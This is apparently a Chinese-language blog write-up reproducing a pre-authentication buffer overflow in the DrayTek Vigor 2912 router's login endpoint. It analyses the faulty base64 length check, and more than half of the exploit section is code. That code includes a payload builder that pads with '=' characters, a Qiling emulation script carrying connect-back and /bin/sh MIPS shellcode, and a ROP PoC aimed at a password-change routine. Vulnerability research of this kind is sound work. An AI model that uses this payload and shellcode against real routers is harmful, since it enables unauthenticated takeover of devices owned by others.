TL;DR
这个漏洞是我去年 9 月份复现的,一直拖更没有发布在我的 Blog 。因为到考虑 Blog 太久没更新了,所以趁着假期整理下笔记,然后发表在 Blog 上吧。顺便一提, 本篇文章没有什么技术含量,大佬可以忽略不看了。
我这里分析的版本是 Vigor 2912 型号 , 固件版本为 3.8.12 。固件可以从官网下载 [^1], 但是这个属于DrayOS 的系统固件是需要逆向解压代码的,这部分内容不在本篇文章的讨论范围,大家可以参考漏洞的作者 slide[^2] 。这里我就不展开赘述了。
Root Cause解压固件后, 我们会得到一个 RTOS 的大Binary 文件, 我们可以通过 rbasefind[^3] 或者其他方法获取固件的加载基地址,例如我这里使用 rbasefind 查找出了一个结果:0x80020000
通过 IDA 加载设置好加载地址,然后等待分析结束。在这个过程中呢,我们可以再阅读下漏洞通告[^4]的描述:
Exploitation attempts can be detected by logging/alerting when a malformed base64 string is sent via a POST request to the /cgi-bin/wlogin.cgi end-point on the web management interface router. Base64 encoded strings are expected to be found in the aa and ab fields of the POST request. Malformed base64 strings indicative of an attack would have an abnormally high number of %3D padding. Any number over three should be considered suspicious.
通过这个描述我们可以得出几个结论:
通过触发接口是 /cgi-bin/wlogin.cgi
即登录接口
提到了 %3D
可以猜测漏洞出现在 base64_decode
函数中
紧接着我抓去了一个正常登录的 HTTP 请求包,等待 IDA 分析完之后通过对字符串进行交叉引用,找到了对应的漏洞函数:
可以看到 username 和 password 都会通过 base64_decode 这个函数进行解密,这个函数的参数格式为:
1 base64_decode(char *input, char *output, unsigned int maxlen)
我们看到第三个参数看似是限制了最大 decode 长度,但是实际上这个值真的生效了吗? 我们继续往下看
这里会有一个 calc_decdoe_len
的函数,来计算 base64 decode 后的长度是不是大于 maxlen 如果大于就退出。 那么我们就基本判定大概率问题是出现在了这个函数中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned int __fastcall calc_decode_len (char *input_buf) { unsigned int inputlen; int decode_out_len; int out_len; _BYTE *in_end_chr; unsigned int offset; int v7; int v8; if ( !input_buf ) return 0 ; inputlen = strlen (input_buf); decode_out_len = 3 * (inputlen >> 2 ); if ( !inputlen ) return 3 * (inputlen >> 2 ); out_len = decode_out_len - 1 ; if ( input_buf[inputlen - 1 ] != '=' ) return 3 * (inputlen >> 2 ); in_end_chr = &input_buf[inputlen]; offset = decode_out_len - inputlen; if ( out_len != offset ) { do { v7 = (char )*(in_end_chr - 2 ); v8 = out_len - 1 ; --in_end_chr; if ( v7 != '=' ) break ; --out_len; } while ( v8 != offset ); } return out_len; }
通过阅读代码,我们找到了这个函数的问题所在:
大致就是, 首先通过 3 * (inputlen >> 2);
计算出一个长度 , 然后判断最后一位是不是 = , 如果不是直接返回, 如果是接着往下走。
然后我们注意到这里有个减法运算 offset = decode_out_len - inputlen;
, 正常而言, 这里的 deocde_out_len
应该是小于 inputlen
的所以这里会是一个 负数。
然后进到 do .. while ()
循环中, 只有当 当前字符不为 = 或者, v8 == offset
的时候才会退出循环, 由于 offset 是个负数, 因此只有当前字符不为 = 才会退出返回。然会这里的长度就会--out_len
递减。
根据base64 的原理我们知道四个 = 为空
1 2 3 4 5 >>> import base64>>> >>> base64.b64decode("====" )b''
因此在构造我们 payload 的时候, 每多于 maxlen(这里是 84 ) 的长度一个字符, 我们就需在后面添加 四个 等号。 这样 deocde 后的长度永远不会大于 84, 但是真正 decode 的结果却会大于 maxlen
Exploit拆开机器,可以发现右下角 4 个pin 的是 调试口 。
接着串口后, 可看到一些输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 ~~Hope you find out the clue here~~ Caught reserved exception 11 - should not happen.NMI taken!!!! @@@die: NMI @@@ Vigor2912-DrayLoader-v7 (May 7 2015 - 15:11:57) MT6856 DRAM Size: 64 MB CPU Frequency: 700 MHZ Flash Manufacture ID: 0xC2, Device ID: 0x20 0x17, Name: MX25L6405D Flash Size: 8 MB Boot DrayOS~~ run_drayos_image: len=5085180 Go~~ !!! Maxi malloc size =31614752 (st=0X821d88e0, end=0X83fff000)!!!! dynamic_mem_pool=0x821e52b0, size=0xc80fff[12M]!Modes: __STDC__ 32-bit mwDWORD==(unsigned long) mwROUNDALLOC==4 sizeof(mwData)==24 mwDataSize==24 statistics: now collecting on a line basis ============= Memwatch Auto Self Test ============= Normal Free...DETECTED Double Free...DETECTED NULL Free.....DETECTED Wild Free.....DETECTED Underflow.....DETECTED Overflow......DETECTED Unfree 1......DETECTED Unfree 2......DETECTED ALL TEST OK! Please be assured that all test buffers have freed. Slab kmalloc range: [0x821E52B0:0x82E662AF](size=13111295 bytes) Linear malloc range: [0x821D88D0:0x83FFF000](size=31614768 bytes) ra_system_init() in :<6>ISPRAM0: PA=00b68000,Size=00008000,enabled <6>CPU revision is: 00019555 (MIPS 34Kc) Ralink RT63365 SOC prom init prom_init() doneFIXME!!! Do we need to complete specific hardware CPU clock setting? or time_init() would complete it ? set_except_vector: n=0, addr=8003cb80 set_except_vector: n=0, addr=80027684 trap_init() done plat_mem_setup() done <6>NR_IRQS:64 init_IRQ()...CPU frequency 699.00 MHz clockevents_register_device cp0_timer_irq_installed: irq = 31 __setup_irq: irq=31, desc=80a80d30, p=80a80030 desc->chip=80a801d0, desc->chip->startup=80030078 time_init()... skb_init() donePrimary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes. Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes cache_init() done ralink_led_init() done !!!__setup_irq: irq=29, desc=80a80c90, p=821e8fa0 desc->chip=80a801d0, desc->chip->startup=80030078 Adapter_Interrupts_Init: Successfully hooked IRQ 29 Adapter_Interrupts_Init: call back registeredAdapter_EIP93_Init: CmdRing_Handle=82e7232c Adapter_EIP93_Init: ResRing_Handle=82e72328 Adapter: Successfully initialized EIP93v2 in ARM mode PEC_Init: PRNG is initialized == IPSEC Crypto Engine Driver : Jul 8 2020 15:25:56 == hw_crypto_init() done NR_IRQS=64. ** Enable Global Int **..end.. flash manufacture id: c2, device id 20 17 MX25L6405D(c2 2017c220) (8192 Kbytes) ../sys_misc.c.584: snprintf test pass! ../sys_misc.c.584: vsnprintf test pass! GMAC1_MAC_ADRH -- : 0x0000001d SMACCR1 -- : 0x0000001d GMAC1_MAC_ADRL -- : 0xaa93e52c SMACCR0 -- : 0xaa93e52c Ralink APSoC Ethernet Driver Initilization. v3.0 256 rx/tx descriptors allocated, mtu = 1500! Raeth v3.0 (Workqueue) __setup_irq: irq=22, desc=80a80a60, p=821e8ea0 desc->chip=80a801d0, desc->chip->startup=80030078 phy_tx_ring = 0x021ef000, tx_ring = 0xa21ef000 phy_rx_ring0 = 0x022c6000, rx_ring0 = 0xa22c6000 Fiber ID does not match (FFFF, FFFF) Fiber does not exist GMAC1_MAC_ADRH -- : 0x0000001d SMACCR1 -- : 0x0000001d GMAC1_MAC_ADRL -- : 0xaa93e52c SMACCR0 -- : 0xaa93e52c __setup_irq: irq=16, desc=80a80880, p=821e8e20 desc->chip=80a801d0, desc->chip->startup=80030078 ESW: Link Status Changed - Port2 Link UP CDMA_CSG_CFG = 81000007 GDMA1_FWD_CFG = C0710000 start PCIe register access *************** RT6855A PCIe RC mode ************* PCIE0 no card, disable it PCIE1 no card, disable it(RST&CLK) <4>registering PCI controller with io_map_base unset [SS][Init] Load Service Status from FLASH!! <6>uVigor2912 by DrayTek Corp.erface driver hub <6>u==========================ice driver usb LAN MAC Address : 00-1D-AA-93-E5-2C usbIP Address : 192.168.2.1 RT3xIP Subnet Mask : 255.255.255.0 <6>eFirmware Version : 3.8.12d' Host Controller (EHCI) Driver __seSystem Up Time : 0:0:0a80920, p=822ddfa0 desc-------- Main Menu --------->startup=80030078 FIXM1 : Enable TFTP Server Please Select Item : <6>ohci_hcd: USB 1.1 ' Open' Host Controller (OHCI) Driver VLAN table[2~7] cleaned usb host init done!! <6>usbcore: registered new interface driver usblp ----> usb_net_init()aned <6>usbcore: registered new interface driver LTE device driver <---- usb_net_init()) is 1 ** ----------------> usb_register<6>usbcore: registered new interface driver usbserial ----------------> usb_serial_generic_register ** DrayDown event==0 ** ** DrayUp event==0 ** <6>usbcore: registered new interface driver usbserial_generic Initializing USB Mass Storage driver... <6>usbcore: registered new interface driver usb-storage USB Mass Storage support registered. << sys_board_init_later >>
当我们通过 PoC 攻击设备之后,可以从日志输出看到一些 dump 信息, 输出包括 EPC , 当前崩溃的地址, 如这里里是 0xdeadbeaf,
还会打印栈 和 寄存器
我们可以通过这些输出来调整我们的 PoC, 来达到我们目的,另外为了更方便的调试, 我还使用了 qiling 进行部分代码的模拟, 思路如下:
前面跑一段随便的 shellcode ,然后将 RTOS 整个 binary 读起来, 写入到我 mmap 的内存中。然后设置PC 跳转过去。最后的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from binascii import unhexlifyfrom pwn import *import syssys.path.append(".." ) from qiling import Qilingfrom qiling.const import QL_VERBOSEcontext(arch='mips' ) shellcode_con = asm(shellcraft.connect("127.0.0.1" , 1337 )) password_addr = 0x81B898A0 die_func_addr = 0x8007EF90 test_addr = 0x8007EF74 proxy = { 'http' : 'http://127.0.0.1:8080' } pay = b'admin\x00\x00\x00' pay+= b'B' * (0x118 - 8 - 8 ) pay+= p32(password_addr) pay+= b'C' *0x20 pay+= p32(test_addr) padding = len(pay) - 84 payload = base64.b64encode(pay).decode('latin' ) + '=' * (padding * 4 ) def hook_1 (ql ): ql.log.info('now run at: 0x807767A0' ) ql.reg.write('a0' , 0x21000000 ) ql.reg.arch_pc = 0x807768B8 def hook_2 (ql ): ql.reg.arch_pc = 0x807766ec def hook_3 (ql ): ql.reg.arch_pc = 0x80776808 context(arch='mips' , endian='little' ) shellcode = asm(shellcraft.sh()) MIPS32EL_LIN = unhexlify('ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e2f7368' ) if __name__ == "__main__" : print("\nVigor 2912 emu" ) ql = Qiling(code=shellcode, archtype="mips" , ostype="linux" , verbose=QL_VERBOSE.DEFAULT) with open('v2912_3812-kernel' , 'rb' ) as f: data = f.read() print(hex(len(data))) ql.mem.map(0x20000000 , 0x3000000 , info="[STACK ]" ) ql.mem.map(0x23000000 , 0x3000000 , info="[SHELLCODE ]" ) ql.mem.map(0x80020000 , len(data) + 4092 , info="[RTOS ]" ) ql.mem.map(0x82000000 , 0x4000000 ) ql.mem.show_mapinfo() ql.mem.write(0x80020000 , data) ql.mem.write(0x21000000 , payload.encode('latin' )) ql.mem.write(0x23000000 , shellcode_con) ql.reg.arch_sp = 0x20002000 ql.reg.arch_pc = 0x807766EC ql.reg.write('ra' , 0xdeadbeaf ) ql.reg.write('a0' , 0x21000000 ) ql.hook_address(hook_1, 0x807767A0 ) ql.hook_address(hook_2, 0x11ff004 ) ql.hook_address(hook_3, 0x807768F8 ) ql.debugger = True ql.run(begin=0x807766EC )
利用思路:
[x] ret2shellcode : 在尝试这个方法的时候, 发现没法执行 shellcode, 猜测是 指令流水线 cache incoherency 特性, 可能需要刷新指令, 但是调用了个 usleep(10000)
虽然看起来 PC 往后移动了, 但是仍然没执行成功, 原因不明。
[✓] rop chain
在逆向一些 cmdlist 的过程中, 发现一个修改密码接口
于是我跳转到这个地方, 修改密码 。这里有一些需要跳过坑点,具体可以留给感兴趣的读者了。这里提供一个 PoC 给读者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pay = flat( { 272 : p32(0xdeadbea0 ), 276 : p32(0xdeadbea1 ), 280 : p32(0xdeadbea2 ), 284 : p32(0xdeadbea3 ), 288 : p32(0xdeadbea4 ), 292 : p32(0xdeadbea5 ), 296 : p32(0xdeadbea6 ), 308 : p32(0xdeadbeaf ), 360 : p32(0x808EC000 ), 372 : p32(0x808EC000 ), 372 +0x40 +4 : p32(0xdeadbeaf ), 432 : p32(0xdeadbeaf ) } )
补充
cmdlist 中一个功能可以用来dump内存,方便调试 。 但是注意这里的 0x800000, 我们需要设置当前用户的权限为 0x800000。 这里就是另外一个挑战了,也留给读者自己解决吧。 2333
Reference link[^1]: Index of /Vigor2925 (draytek.com.tw) [^2]: HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret - YouTube [^3]: sgayou/rbasefind: A firmware base address search tool. (github.com) [^4]: Unauthenticated Remote Code Execution in a Wide Range of DrayTek Vigor Routers (trellix.com)